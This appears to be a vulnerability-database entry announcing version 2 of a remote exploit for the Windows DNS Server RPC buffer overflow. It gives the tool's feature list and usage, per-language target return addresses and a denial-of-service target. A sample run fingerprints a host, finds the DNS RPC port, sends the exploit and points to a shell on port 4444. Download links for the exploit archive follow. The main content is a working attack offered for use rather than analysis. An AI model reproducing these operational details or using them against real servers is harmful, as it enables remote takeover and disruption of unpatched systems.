MS Windows DNS RPC Remote Buffer Overflow Exploit (port 445) v2

🗓️ 18 Apr 2007 00:00:00Reported by RootType

MS Windows DNS RPC Remote Buffer Overflow Exploit v2 featuring remote port 445, dynamic TCP port targeting, OS fingerprinting and multiple target options for Win2k and Win2k


                                                &nbsp;&nbsp;Exploit&nbsp;v2&nbsp;features:
&nbsp;&nbsp;-&nbsp;Target&nbsp;Remote&nbsp;port&nbsp;445&nbsp;(by&nbsp;default&nbsp;but&nbsp;requires&nbsp;auth)
&nbsp;&nbsp;-&nbsp;Manual&nbsp;target&nbsp;for&nbsp;dynamic&nbsp;tcp&nbsp;port&nbsp;(without&nbsp;auth)
&nbsp;&nbsp;-&nbsp;Automatic&nbsp;search&nbsp;for&nbsp;dynamic&nbsp;dns&nbsp;rpc&nbsp;port
&nbsp;&nbsp;-&nbsp;Local&nbsp;and&nbsp;remote&nbsp;OS&nbsp;fingerprinting&nbsp;(auto&nbsp;target)
&nbsp;&nbsp;-&nbsp;Windows&nbsp;2000&nbsp;server&nbsp;and&nbsp;Windows&nbsp;2003&nbsp;server&nbsp;(Spanish)&nbsp;supported&nbsp;by&nbsp;default
&nbsp;&nbsp;-&nbsp;Fixed&nbsp;bug&nbsp;with&nbsp;Windows&nbsp;2003&nbsp;Shellcode
&nbsp;&nbsp;-&nbsp;Universal&nbsp;local&nbsp;exploit&nbsp;for&nbsp;Win2k&nbsp;(automatic&nbsp;search&nbsp;for&nbsp;opcodes)
&nbsp;&nbsp;-&nbsp;Universal&nbsp;local&nbsp;and&nbsp;remote&nbsp;exploit&nbsp;for&nbsp;Win2k3&nbsp;(/GS&nbsp;bypassed&nbsp;only&nbsp;with&nbsp;DEP&nbsp;disabled)
&nbsp;&nbsp;-&nbsp;Added&nbsp;targets&nbsp;for&nbsp;remote&nbsp;win2k&nbsp;English&nbsp;and&nbsp;italian&nbsp;(not&nbsp;tested,&nbsp;found&nbsp;with&nbsp;metasploit&nbsp;opcode&nbsp;database.&nbsp;please&nbsp;report&nbsp;your&nbsp;owns)
&nbsp;&nbsp;-&nbsp;Microsoft&nbsp;RPC&nbsp;api&nbsp;used&nbsp;(&nbsp;who&nbsp;cares?&nbsp;:p&nbsp;)


D:\Programaci&amp;Atilde;&amp;sup3;n\DNSTEST&gt;dnstest
&nbsp;--------------------------------------------------------------
&nbsp;Microsoft&nbsp;Dns&nbsp;Server&nbsp;local&nbsp;&amp;&nbsp;remote&nbsp;RPC&nbsp;Exploit&nbsp;code
&nbsp;Exploit&nbsp;code&nbsp;by&nbsp;Andres&nbsp;Tarasco&nbsp;&amp;&nbsp;Mario&nbsp;Ballano
&nbsp;Tested&nbsp;against&nbsp;Windows&nbsp;2000&nbsp;server&nbsp;SP4&nbsp;and&nbsp;Windows&nbsp;2003&nbsp;SP2
&nbsp;--------------------------------------------------------------

&nbsp;Usage:&nbsp;&nbsp;&nbsp;dnstest&nbsp;-h&nbsp;127.0.0.1&nbsp;(Universal&nbsp;local&nbsp;exploit)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dnstest&nbsp;-h&nbsp;host&nbsp;[-t&nbsp;id]&nbsp;[-p&nbsp;port]
&nbsp;Targets:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;(0x30270b0b)&nbsp;-&nbsp;Win2k3&nbsp;server&nbsp;SP2&nbsp;Universal&nbsp;-&nbsp;(default&nbsp;for&nbsp;win2k3)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;(0x79467ef8)&nbsp;-&nbsp;Win2k&nbsp;&nbsp;server&nbsp;SP4&nbsp;Spanish&nbsp;-&nbsp;&nbsp;&nbsp;(default&nbsp;for&nbsp;win2k&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2&nbsp;(0x7c4fedbb)&nbsp;-&nbsp;Win2k&nbsp;&nbsp;server&nbsp;SP4&nbsp;English
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3&nbsp;(0x7963edbb)&nbsp;-&nbsp;Win2k&nbsp;&nbsp;server&nbsp;SP4&nbsp;Italian
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4&nbsp;(0x41414141)&nbsp;-&nbsp;Windows&nbsp;all&nbsp;Denial&nbsp;of&nbsp;Service


D:\Programaci&amp;Atilde;&amp;sup3;n\DNSTEST&gt;dnstest.exe&nbsp;-h&nbsp;192.168.1.2
&nbsp;--------------------------------------------------------------
&nbsp;Microsoft&nbsp;Dns&nbsp;Server&nbsp;local&nbsp;&amp;&nbsp;remote&nbsp;RPC&nbsp;Exploit&nbsp;code
&nbsp;Exploit&nbsp;code&nbsp;by&nbsp;Andres&nbsp;Tarasco&nbsp;&amp;&nbsp;Mario&nbsp;Ballano
&nbsp;Tested&nbsp;against&nbsp;Windows&nbsp;2000&nbsp;server&nbsp;SP4&nbsp;and&nbsp;Windows&nbsp;2003&nbsp;SP2
&nbsp;--------------------------------------------------------------

[+]&nbsp;Trying&nbsp;to&nbsp;fingerprint&nbsp;target..&nbsp;(05.02)
[+]&nbsp;Remote&nbsp;Host&nbsp;identified&nbsp;as&nbsp;Windows&nbsp;2003
[-]&nbsp;No&nbsp;port&nbsp;selected.&nbsp;Trying&nbsp;Ninja&nbsp;sk1llz
[+]&nbsp;Binding&nbsp;to&nbsp;ncacn_ip_tcp:&nbsp;192.168.1.2
[+]&nbsp;Found&nbsp;50abc2a4-574d-40b3-9d66-ee4fd5fba076&nbsp;version&nbsp;5.0
[+]&nbsp;RPC&nbsp;binding&nbsp;string:&nbsp;ncacn_ip_tcp:192.168.1.2[1105]
[+]&nbsp;Dynamic&nbsp;DNS&nbsp;rpc&nbsp;port&nbsp;found&nbsp;(1105)
[+]&nbsp;Connecting&nbsp;to&nbsp;50abc2a4-574d-40b3-9d66-ee4fd5fba076@ncacn_ip_tcp:192.168.1.2[1105]
[+]&nbsp;RpcBindingFromStringBinding&nbsp;success
[+]&nbsp;Sending&nbsp;Exploit&nbsp;code&nbsp;to&nbsp;DnssrvOperation()
[+]&nbsp;Now&nbsp;try&nbsp;to&nbsp;connect&nbsp;to&nbsp;port&nbsp;4444


also&nbsp;available&nbsp;at

http://514.es/Microsoft_Dns_Server_Exploit_v2.1.zip
http://www.48bits.com/exploits/dnsxpl.v2.1.zip&nbsp;
http://www.milw0rm.com/sploits/04172007-dnsxpl.v2.1.zip

18 Apr 2007 00:00Current

7.1High risk

Vulners AI Score7.1